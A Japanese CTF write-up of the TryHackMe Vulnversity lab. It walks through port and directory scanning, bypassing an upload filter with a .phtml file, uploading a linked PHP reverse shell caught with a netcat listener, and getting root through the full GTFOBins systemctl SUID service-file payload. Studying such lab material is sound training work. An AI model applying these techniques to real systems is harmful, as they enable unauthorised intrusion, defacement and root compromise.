🐥

TryHackMe - Vulnversity

に公開

とりあえずnmap。

nmap 10.10.193.22 -oN nmap.txt -T4 -sV -Pn

21/tcp   open  ftp         vsftpd 3.0.5
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
3128/tcp open  http-proxy  Squid http proxy 4.10
3333/tcp open  http        Apache httpd 2.4.41 ((Ubuntu))

FTPにanonymousログインできるか試したがパスワードを求められて失敗。

$ ftp 10.10.193.22
Connected to 10.10.193.22.
220 (vsFTPd 3.0.5)
Name (10.10.193.22:mito): anonymous

Webサイトが公開されているのでgobusterでURL列挙。
/internalというパスを発見。ここではなにかしらのアップロードができる模様。

$ gobuster dir -u http://10.10.193.22:3333 -w /usr/share/wordlists/dirb/common.txt

/internal             (Status: 301) [Size: 322] [--> http://10.10.193.22:3333/internal/]

jsonをアップロードしたが拡張子を受け付けられなかった。
BurpSuiteで拡張子の部分を変更しつつ受け取ってもらえる物を探す。
php, php3, php4, phtmlあたりで試したところ、phtmlを受け取ってもらえることを確認。

拡張子を探すときはBurpSuite Intruder拡張子リストを使える。
/usr/share/wordlist/seclists/Fuzzing/extensions-most-common.fuzz.txtをloadすればOK。

uploadされたファイルを使ってweb shellを貼る場合、upload後のファイルが置かれるディレクトリを探す必要がある。以下の通りもう一度ディレクトリ探索。

$ gobuster dir -u http://10.10.193.22:3333/internal -w /usr/share/wordlists/dirb/commo
n.txt

/uploads              (Status: 301) [Size: 330] [--> http://10.10.193.22:3333/internal/uploads/]

http:)//10.10.193.22:3333/internal/uploads/ にてアップロードしたファイルを閲覧できることを確認。
shell.phtmlが置いてあるのだがもしかして誰かすでに侵入した...?

phtmlのリバースシェルを持ってきてuploadする。
"php reverse shell"で検索して最初に出てきたものを使用。
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
kaliの場合/usr/share/webshells/にも置いてあるらしい。
今度からこれを使おう。

IP addressとportを変更してuploadする。

ローカルでは接続をリッスンしておく。

  • l: listening
  • v: vervose
  • n: IPアドレスの使用
  • p: port number
nc -lvnp 443

/internal/uploadsからphtmlを開くことで接続成功。

/home/billに移動してユーザーフラグを入手。

/var/www/html/index.htmlを編集すればwebサイトを改ざんできる。

続いて権限昇格を狙う。
rootとしてSUIDがついたファイルを探す。

  • find /: ルートディレクトリから検索
  • -user root: ファイル所有者がroot
  • -perm -u=s: パーミッションで検索、SUIDビットがセット済
  • -type f: 検索対象はファイル
  • 2> /dev/null: stderrをリダイレクト
find / -user root -perm -u=s -type f 2>/dev/null

/bin/systemctlにSUIDがついているのを確認できる。
普通はsystemctlにSUIDはつけないらしい。
GTFOBins(https://gtfobins.github.io/gtfobins/systemctl/)で検索してエクスプロイトを得る。

エクスプロイトは以下の通り。
ExecStart部分を書き換えればroot権限でやりたい放題できる。

TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output.txt"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF

mktempは一時ファイルを作成するコマンド。
1回だけ/bin/sh -c "cat /root/root.txt > /tmp/output.txt"が実行されるという内容のサービスを作成している。
作成したサービスファイルのシンボリックリンクをsystemctlが読める場所(/etc/systemd/system/)に作成し、サービスを有効にしている。


phtmlはphpスクリプトを含むWebページの拡張子。
PHP version3以前に使用されており、現在は通常phpが使われる。

/internal/uploadsでディレクトリ内のファイルが見られるのはディレクトリインデックス機能が有効になっているため。
ディレクトリリスティング: index.htmlが存在しない際にディレクトリ内のファイルやサブディレクトリをブラウザに表示する機能。オフが推奨。

SUID(Set User ID): 誰が実行してもファイル所有者の権限で実行できる。
アクセス権がsになっている部分がSUID。
この場合はだれがpasswdを実行しても所有者であるrootとして実行される。

$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Feb  6  2024 /usr/bin/passwd

Discussion